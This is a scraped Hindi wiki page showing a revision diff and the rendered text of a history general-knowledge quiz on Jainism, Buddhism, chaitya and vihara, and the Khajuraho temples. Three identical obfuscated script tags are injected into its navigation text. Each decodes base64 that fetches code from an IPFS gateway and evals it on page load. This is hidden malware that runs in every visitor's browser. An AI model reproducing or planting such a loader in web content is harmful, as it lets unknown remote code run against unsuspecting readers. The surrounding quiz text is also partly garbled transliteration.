Difference between revisions of "इतिहास सामान्य ज्ञान 524"

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+स्त्री तथा पुरुष दोनों ही [[मोक्ष]] प्राप्त कर सकते हैं।
 
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-जीवन में मध्यम मार्ग है
 
-जीवन में मध्यम मार्ग है
||[[चित्र:Jain-Symbol.jpg|border|right|100px|जैन धर्म का प्रतीक]]'जैन धर्म' [[भारत]] की श्रमण परम्परा से निकला [[धर्म]] और [[दर्शन]] है। 'जैन' उन्हें कहते हैं, जो 'जिन' के अनुयायी हों। यदि [[आर्य|आर्यों]] के आगमन के बाद से भी देखा जाये तो [[ऋषभदेव]] और [[अरिष्टनेमि]] को लेकर [[जैन धर्म]] की परंपरा [[वेद|वेदों]] तक पहुँचती है। जैन धर्म के 24 [[तीर्थंकर|तीर्थंकरों]] ने अपने-अपने समय में धर्म मार्ग से च्युत हो रहे जनसमुदाय को संबोधित किया और उसे धर्म मार्ग में लगाया। इसी से इन्हें 'धर्म मार्ग-मोक्ष मार्ग का नेता' और 'तीर्थ प्रवर्त्तक' अर्थात् 'तीर्थंकर' कहा गया है।{{point}}अधिक जानकारी के लिए देखें:-[[जैन धर्म]], [[बौद्ध धर्म]]
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||[[चित्र:Jain-Symbol.jpg|border|right|80px|जैन धर्म का प्रतीक]]'जैन धर्म' [[भारत]] की श्रमण परम्परा से निकला [[धर्म]] और [[दर्शन]] है। 'जैन' उन्हें कहते हैं, जो 'जिन' के अनुयायी हों। यदि [[आर्य|आर्यों]] के आगमन के बाद से भी देखा जाये तो [[ऋषभदेव]] और [[अरिष्टनेमि]] को लेकर [[जैन धर्म]] की परंपरा [[वेद|वेदों]] तक पहुँचती है। जैन धर्म के 24 [[तीर्थंकर|तीर्थंकरों]] ने अपने-अपने समय में धर्म मार्ग से च्युत हो रहे जनसमुदाय को संबोधित किया और उसे धर्म मार्ग में लगाया। इसी से इन्हें 'धर्म मार्ग-मोक्ष मार्ग का नेता' और 'तीर्थ प्रवर्त्तक' अर्थात् 'तीर्थंकर' कहा गया है।{{point}}अधिक जानकारी के लिए देखें:-[[जैन धर्म]], [[बौद्ध धर्म]]
  
 
{[[प्राचीन भारत]] के [[बौद्ध मठ|बौद्ध मठों]] में 'पवरन' नामक समारोह आयोजित किया जाता था, जो-
 
{[[प्राचीन भारत]] के [[बौद्ध मठ|बौद्ध मठों]] में 'पवरन' नामक समारोह आयोजित किया जाता था, जो-
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-किसी नये व्यक्ति को बौद्ध संघ में प्रवेश देने का समारोह था, जिसमें उसका सिर मुंडवा दिया जाता था और पीले वस्त्र दिये जाते थे।
 
-किसी नये व्यक्ति को बौद्ध संघ में प्रवेश देने का समारोह था, जिसमें उसका सिर मुंडवा दिया जाता था और पीले वस्त्र दिये जाते थे।
 
-[[आषाढ़]] की [[पूर्णिमा]] के अगले दिन बौद्ध भिक्षुओं के एकत्र होने का अवसर होता था, जब वे [[वर्षा ऋतु]] के आगामी चार महीनों के लिए निश्चित आवास चुनते थे।
 
-[[आषाढ़]] की [[पूर्णिमा]] के अगले दिन बौद्ध भिक्षुओं के एकत्र होने का अवसर होता था, जब वे [[वर्षा ऋतु]] के आगामी चार महीनों के लिए निश्चित आवास चुनते थे।
||[[चित्र:Buddhism-Symbol.jpg|border|right|100px|बौद्ध धर्म का प्रतीक]]'बौद्ध धर्म' [[भारत]] की श्रमण परम्परा से निकला [[धर्म]] और [[दर्शन शास्त्र|दर्शन]] है। इसके संस्थापक भगवान बुद्ध, शाक्यमुनि ([[गौतम बुद्ध]]) थे। बुद्ध राजा [[शुद्धोदन]] के पुत्र थे और इनका जन्म [[लुंबिनी]] नामक ग्राम ([[नेपाल]]) में हुआ था। वे छठवीं से पाँचवीं शताब्दी ईसा पूर्व तक जीवित थे। उनके गुज़रने के बाद अगली पाँच शताब्दियों में, [[बौद्ध धर्म]] पूरे भारतीय उपमहाद्वीप में फ़ैला, और अगले दो हज़ार सालों में मध्य, पूर्वी और दक्षिण-पूर्वी जम्बू महाद्वीप में भी फ़ैल गया। आज बौद्ध धर्म में तीन मुख्य सम्प्रदाय हैं: [[थेरवाद]], [[महायान]] और [[वज्रयान]]।{{point}}अधिक जानकारी के लिए देखें:-[[बौद्ध धर्म]]
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||[[चित्र:Buddhism-Symbol.jpg|border|right|80px|बौद्ध धर्म का प्रतीक]]'बौद्ध धर्म' [[भारत]] की श्रमण परम्परा से निकला [[धर्म]] और [[दर्शन शास्त्र|दर्शन]] है। इसके संस्थापक भगवान बुद्ध, शाक्यमुनि ([[गौतम बुद्ध]]) थे। बुद्ध राजा [[शुद्धोदन]] के पुत्र थे और इनका जन्म [[लुंबिनी]] नामक ग्राम ([[नेपाल]]) में हुआ था। वे छठवीं से पाँचवीं शताब्दी ईसा पूर्व तक जीवित थे। उनके गुज़रने के बाद अगली पाँच शताब्दियों में, [[बौद्ध धर्म]] पूरे भारतीय उपमहाद्वीप में फ़ैला, और अगले दो हज़ार सालों में मध्य, पूर्वी और दक्षिण-पूर्वी जम्बू महाद्वीप में भी फ़ैल गया। आज बौद्ध धर्म में तीन मुख्य सम्प्रदाय हैं: [[थेरवाद]], [[महायान]] और [[वज्रयान]]।{{point}}अधिक जानकारी के लिए देखें:-[[बौद्ध धर्म]]
  
 
{'[[चैत्य गृह|चैत्य]]' व '[[विहार]]' में क्या अंतर होता है?
 
{'[[चैत्य गृह|चैत्य]]' व '[[विहार]]' में क्या अंतर होता है?
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-'विहार' एवं 'चैत्य' दोनों ही निवास स्थान के रूप में प्रयोग हो सकते हैं।
 
-'विहार' एवं 'चैत्य' दोनों ही निवास स्थान के रूप में प्रयोग हो सकते हैं।
 
-इनमें से कोई नहीं
 
-इनमें से कोई नहीं
||[[चित्र:Chaitya-Griha-Bhaja-Caves.jpg|border|right|100px|चैत्य गृह, भाजा]]'चैत्य गृह' को प्राय: 'गुहा मन्दिर' के नाम से भी जाना जाता है। [[बौद्ध धर्म]] में [[बुद्ध]] की मूर्ति के निर्माण का विधान न होने से बुद्ध के प्रतीक के रूप में [[स्तूप]] पूजे जाते थे। पूजार्थक स्तूप को सम्भवतः [[चैत्य गृह|चैत्य]] कहा जाता था। [[विहार]] बौद्ध धर्म में धार्मिक उपदेश आदि दिये जाने वाले स्थान को कहा जाता है। विहारों में बुद्ध की प्रतिमा होती है। इनमें बौद्ध भिक्षु निवास करते है।{{point}}अधिक जानकारी के लिए देखें:-[[चैत्य गृह]], [[विहार]]
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||[[चित्र:Chaitya-Griha-Bhaja-Caves.jpg|border|right|100px|चैत्य गृह, भाजा]]'चैत्य गृह' को प्राय: 'गुहा मन्दिर' के नाम से भी जाना जाता है। [[बौद्ध धर्म]] में [[बुद्ध]] की मूर्ति के निर्माण का विधान न होने से बुद्ध के प्रतीक के रूप में [[स्तूप]] पूजे जाते थे। पूजार्थक स्तूप को सम्भवतः [[चैत्य गृह|चैत्य]] कहा जाता था। [[विहार]] बौद्ध धर्म में धार्मिक उपदेश आदि दिये जाने वाले स्थान को कहा जाता है। विहारों में [[बुद्ध]] की प्रतिमा होती है। इनमें [[भिक्कु|बौद्ध भिक्षु]] निवास करते है।{{point}}अधिक जानकारी के लिए देखें:-[[चैत्य गृह]], [[विहार]]
  
 
{[[खजुराहो]] के मन्दिर का सम्बन्ध किस [[धर्म]] से है?
 
{[[खजुराहो]] के मन्दिर का सम्बन्ध किस [[धर्म]] से है?
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-[[हिन्दू धर्म]]
 
-[[हिन्दू धर्म]]
 
+[[हिन्दू धर्म]] तथा [[जैन धर्म]]
 
+[[हिन्दू धर्म]] तथा [[जैन धर्म]]
||[[चित्र:Khajuraho-Temple-Madhya-Pradesh-1.jpg|border|right|100px|खजुराहो मन्दिर, मध्य प्रदेश]]'खजुराहो' प्रसिद्ध पर्यटन और पुरातात्विक स्थल है, जिसमें [[हिन्दू धर्म|हिन्दू]] व [[जैन धर्म|जैन]] की मूर्तिकला से सुसज्जित 25 मन्दिर और तीन संग्रहालय हैं। 25 मन्दिरों में से 10 मंदिर [[विष्णु]] को समर्पित हैं, जिसमें उनका एक सशक्त मिश्रित स्वरूप वैकुण्ठ शामिल है। नौ मन्दिर [[शिव]] के, एक [[सूर्य देवता]] का, एक रहस्यमय योगिनियों (देवियों) का और पाँच मन्दिर [[दिगम्बर सम्प्रदाय|दिगम्बर जैन सम्प्रदाय]] के [[तीर्थंकर|तीर्थकारों]] के हैं। [[खजुराहो]] के मन्दिर में तीन बड़े [[शिलालेख]] भी हैं।{{point}}अधिक जानकारी के लिए देखें:-[[खजुराहो]]
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||[[चित्र:Khajuraho-Temple-Madhya-Pradesh-1.jpg|border|right|100px|खजुराहो मन्दिर, मध्य प्रदेश]]'खजुराहो' प्रसिद्ध पर्यटन और पुरातात्विक स्थल है, जिसमें [[हिन्दू धर्म|हिन्दू]] व [[जैन धर्म|जैन]] की [[मूर्तिकला]] से सुसज्जित 25 मन्दिर और तीन [[संग्रहालय]] हैं। 25 मन्दिरों में से 10 मंदिर [[विष्णु]] को समर्पित हैं, जिसमें उनका एक सशक्त मिश्रित स्वरूप वैकुण्ठ शामिल है। नौ मन्दिर [[शिव]] के, एक [[सूर्य देवता]] का, एक रहस्यमय योगिनियों (देवियों) का और पाँच मन्दिर [[दिगम्बर सम्प्रदाय|दिगम्बर जैन सम्प्रदाय]] के [[तीर्थंकर|तीर्थकारों]] के हैं। [[खजुराहो]] के मन्दिर में तीन बड़े [[शिलालेख]] भी हैं।{{point}}अधिक जानकारी के लिए देखें:-[[खजुराहो]]
 
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Latest revision as of 05:07, 2 January 2020

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

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1 jain dharm shvetambar evan digambar sampradayoan mean kab vibhajit hua?

chandragupt maury ke samay mean
ashok ke samay mean
kanishk ke samay mean
inamean se koee nahian

2 bauddh dharm tatha jain dharm donoan hi vishvas karate haian ki-

karm tatha punarjanm ke siddhaant sahi haian.
mrityu ke pashchath hi moksh sanbhav hai.
stri tatha purush donoan hi moksh prapt kar sakate haian.
jivan mean madhyam marg hai

3 prachin bharat ke bauddh mathoan mean 'pavaran' namak samaroh ayojit kiya jata tha, jo-

sangh parinayak aur dharm v vinay vishayoan par ek-ek vakta ko chunane ka avasar hota tha.
varsha rritu ke dauran mathoan mean pravas ke samay bhikshuoan dvara kie ge aparadhoan ki svikarokti ka avasar hota tha.
kisi naye vyakti ko bauddh sangh mean pravesh dene ka samaroh tha, jisamean usaka sir muandava diya jata tha aur pile vastr diye jate the.
ashadh ki poornima ke agale din bauddh bhikshuoan ke ekatr hone ka avasar hota tha, jab ve varsha rritu ke agami char mahinoan ke lie nishchit avas chunate the.

4 'chaity' v 'vihar' mean kya aantar hota hai?

'vihar' pooja sthal hota hai jabaki 'chaity' bauddh bhikshuoan ka nivas sthan hai.
'chaity' pooja sthal hota hai jabaki 'vihar' nivas sthan hai.
'vihar' evan 'chaity' donoan hi nivas sthan ke roop mean prayog ho sakate haian.
inamean se koee nahian

5 khajuraho ke mandir ka sambandh kis dharm se hai?

bauddh dharm
jain dharm
hindoo dharm
hindoo dharm tatha jain dharm

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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